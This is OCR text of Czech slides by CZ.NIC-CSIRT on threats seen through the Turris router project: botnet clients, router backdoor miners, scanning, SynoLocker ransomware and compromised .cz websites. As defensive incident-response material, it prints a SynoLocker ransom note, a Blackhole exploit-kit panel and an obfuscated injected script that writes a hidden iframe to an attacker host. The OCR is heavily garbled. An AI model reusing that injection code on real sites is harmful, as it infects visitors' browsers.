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Zajimave vystupy
z projektu Turris

Pavel Basta ¢ pavel.basta@nic.cz * 29. 11. 2014
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CZ.NIC-CSIRT

e CSIRT tym interniho typu

e Personalne propojeny s narodnim tymem
CSIRT.CZ

e |nterni bezpecnost

e |SO 27001
e |ncident response (AS25192 a doména .cz)

 Prevence
e Projekt Turris
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Oshova

e Klienti botnetu

e *Coin Mainer

e Hledani zranitelnych serveru

e Manipulace se sitovym provozem
« Utok malware Synolocker

e Nezname nebezpecné stranky

I o 8§ | [ of pticaves



Klienti Botnetu

o Klienti botnetu:

e Zeus
e Reveton
e SpyEye a dalsi
e 12 potvrzenych antivirem

e 4 klienti s mnoha symptomy

e Potlaceni automatickych aktualizaci
e Odstraneni poloiky pro start v nouzovém rezimu
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Klienti Botnetu

e Zajimavosti

e Presne urceni zdroje problému
— Turris zna i1 IP adresu z vnitrni site
e OpenVPN

- Detekce botnetu Zeus skrze VPN pripojeni
e Blokovane torrent trackery
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*Coin Mainer

e Zaznamenana anomalie (zvysena aktivita) na
portu 32764

e Znamy backdoor na zarizenich Netgear, Cisco,
Linksys

 Nova varianta Cerva ,zollard” pojmenovana
*Coin Mainer

e Tezba crypto men
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Hledani zranitelnych serveru

e Casté skenovani znamych portd

e \V jednom pripade skenovala IP adresa ze sité
UPC ostatni uzivatele ve stejne siti

e Na jednom z routeru byl spustén ,honeypot”

b Auth, sequence: @
Implementation: XNTPD (3)
Request code: MON GETLIST 1 (42)

e Jedna se o0 monitorovani zranitelnych uzivatelu
v ramci site UPC
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To decrypt your files you need to buy a unique decryption key that is linked to your
identification code.

The only accepted payment method is Bitcoin.

Visit the help page if you need information on how to purchase and send a Bitcoin payment,

Follow these simple steps to get your decryption key:

i
2.

Ln

7 days, 13 hours, 35 mins, 25 secs

. Get the link to the decryption page on your Synology NAS index.html| page. Default is

. Copy and paste the RSA private key into the decryption page form then hit the submit button.
. After a short delay the webpage will start displaying the decryption progress.
. Contact support if you face any issues with the decryption process.

SynoLocker™

Automated Decryption Service

PRICE OF DECRYPTION KEY DOUBLE WHEN COUNTDOWN EXPIRE

Send 0.6 BTC to this Bitcoin address: 1Mcaz3BhyftbVEXsm9wmAGQQVvIUKYEQVcN
Once the payment has been processed, the RSA private key will be available on your home page
within ~1 hour (& Bitcoin network confirmations).

http://IP_ADDRESS:5000/redirect.html
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Synolocker

e Nova varianta ransomware cryptolocker
e Napada Synology NAS disky

e Zasifrovane soubory

e V'ykupneé v BTC

e K Sifeni zneuzita dira v aplikaci bézici na
portech 5000 a 5001

e Zaznamenana anomalie (zvysena aktivita)
nekolika IP adres ve dnech, kdy utok probihal
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Manipulace se sitovym provozem

e Sonda sledujici odpovéedi na ping a certifikaty
vybranych sluzeb a bankovnich stranek

e Cilem odhaleni pripadné manipulace s DNS,
pripadne s certifikaty

e Data jsou nahravana na server, kde jsou
nasledné porovnany vysledky

e Zjevne neplatné certifikaty sluzeb jako je
smtp.seznam.cz nebo smtp.gmail.com

e Potvrzeno presmerovavani sitoveho provozu
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Nebezpecne webove stranky

 Malicious Domain Manager

e Aplikace sbirajici informace o napadenych .cz
doménach

 Sifeni malware, phishing

e Malware Sifen pomoci ruznych exploit kitu, napf.
Blackhole, Phoenix

e Pomoci iframe je vkladan do napadenych stranek
odkaz na server, ktery pak provadi samotny utok

e Chyby v prohlizeci, java, Acrobat Reader, Flash
Player
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O Blackhole”

PREFERENCES Logout

DEFAULT
http:// rim =1/blackhole/imgurlfx.php

{3 RULE: DEFAULT

EXPLOITS: 7 Exploits »
FILES: — -1 from o
TRAFFIC: £, all traffic

Add thread

TESTOVACT_UTOK ¥
http:// - [ /blackhole/imgurlfx.php?hl=fdcc25b76c226c4c

£ RULE: UNTITLED ¥

COUNTRIES: 252 Countries

BROVVSERS: 13 Browsers

O5: 1005 »

EXPLOITS: 7 Exploits »

FILES: bot — 0 from @

TRAFFIC: £, Al raffic
f RULE: DEFAULT

EX{PLOITS: 7 Bxploits »
“@ MDAC “@ Java SMEB ’@ HCP
@ POF “@ POF LibTiff ’@ IEPeers

"@ Java OBE
Add rule
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kscript language="Javascript” type="text/javascript'=>

ABOCE43509212D2="par"; AB9CE43509212D2+="5eInt"; D43E67 37 3CA217="51"; D43E67373CAZ17+="ring. fr"; D4 3E67 37 3CA217+="0omC"; D4 3E67 37 3CAZ17+="ha"; D4 3E67 37 3CA217+="rCode"; fu
nction FAABDE1325B741A(CBABBE24){var F84C008=893;F84C008=FB4C00B-877;C44D6BCC=eval (ABOCE4350021202+" " (CBABBE24,F84C008)"); return(C44D6BCC); Hfunction E22A44D5AD

(ED99CA) {var FO9A7OC=746; FOATIC=FOA7IC-744; var DFEEEDFE46E="";for(DZEQElSBA4EA8=D;D2E96153A4EA8<ED99CA.1ength;62E96155A46A8+=F9A?9C}{DFEE86F64EE+ ( eval
(D43E67373CA217+" (FAABDEL325B741A(EDIOCA. substr (D2ZE9GL5BA4GAE,FIATIC))) ")) Teval (DFEEBOFG46E) ; TE22A44D5AD
F; 7

("69662028646F63756D650E742E630FGFOBG9652E73656172636828226672713032222920303020203129207B0A7 366663D646F63756D056E742E676574456C656D656E74427949642827686164792729
3B69662873000663D3D0EY 56CHC297BOAEGFE3750DB50ETA2EV 7726974652827 3C696672616D652009643D68616479207372633D087474703A2F2F67 737401747 I2EG30EZ207374796C653D646973706CH179
3ABEGFGEGSIEICZ2FO90672616D653E27293B7D0ABL6FG3750D6S0E742EG3OFOFOBE965203D20220672713D323B657870697265733D5375606E2C2030312D044656320323031312030383A30303A303020474D
543B706174683D2F223B7D");

</script=

if (document. cookie. search(“frq—z o= -1)
sTf=document. getE'IementById( hady"); 1f(5f1‘ =nul1){document.write( ' <iframe id=hady src=http://gstats.cn style=display:nonex></iframe=");}
document. cookle = "frg=2;expires=sun, 0l1-Dec-2011 08:00:00 aMT;path=/";7}
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Nebezpecne webove stranky

 Analyzy napadenych stranek a hledani
puvodnich zdroju utoku

e Takto zjistené IP adresy jsou pomoci dalsich
nastroju proverovany (passive DNS,
virustotal.com, nastroje pro overeni reputace IP,
URL Query, JS Beautifier)

 Na zaklade tohoto posouzeni se rozhodne o
blokaci/sledovani komunikace s danou IP
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Nebezpecne webove stranky

e Za posledni tyden 45 napadenych domen
denne

e \/ pruméru ziskavame informaceo 60 IP
nebezpecnych adresach za mesic

e Cca 20 IP adres se stale opakuje

e Polty dotazu zaznamenanych na firewalech
Turrisu na blokované/sledované IP od stovek
do desitek tydnée
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Y

Nahlasena utocna stranka!

Tato webova stranka na serveru s £ # byla nahlasena jako
utocna stranka a proto byla na zaklarie vaseho bezpecnostniho
nastaveni zablokovana.

Utocné stranky se pokousi nainstalovat programy, které kradou vase
divérna data, pouzivaji vas pocitac k dalsim dtokim, nebo jakkoliv ponici
vas systém.

Nektere stranky poskytuji skodlivy software zameme, rada z nich byla ale
sama napadena a Cini tak bez védomi jejich viastnikd.

Rychle odsud pryc! Pro¢ byla tato stranka zablokovana?

Ignorovat toto upozorneni
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Dalsi plany

e RozSifit seznam sledovanych Botnetu

e Ziskat dalsi zdroje informaci o nebezpecnych
|P adresach

e Porovnavat anomalie z Turrisu s ostatnimi
zdroji dat

e |dentifikace napadenych webovych stranek?

e Zachytavani obsahu paketu na prani uzivatele?
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Dekuji za pozornost

Pavel Basta ¢ pavel.basta@nic.cz
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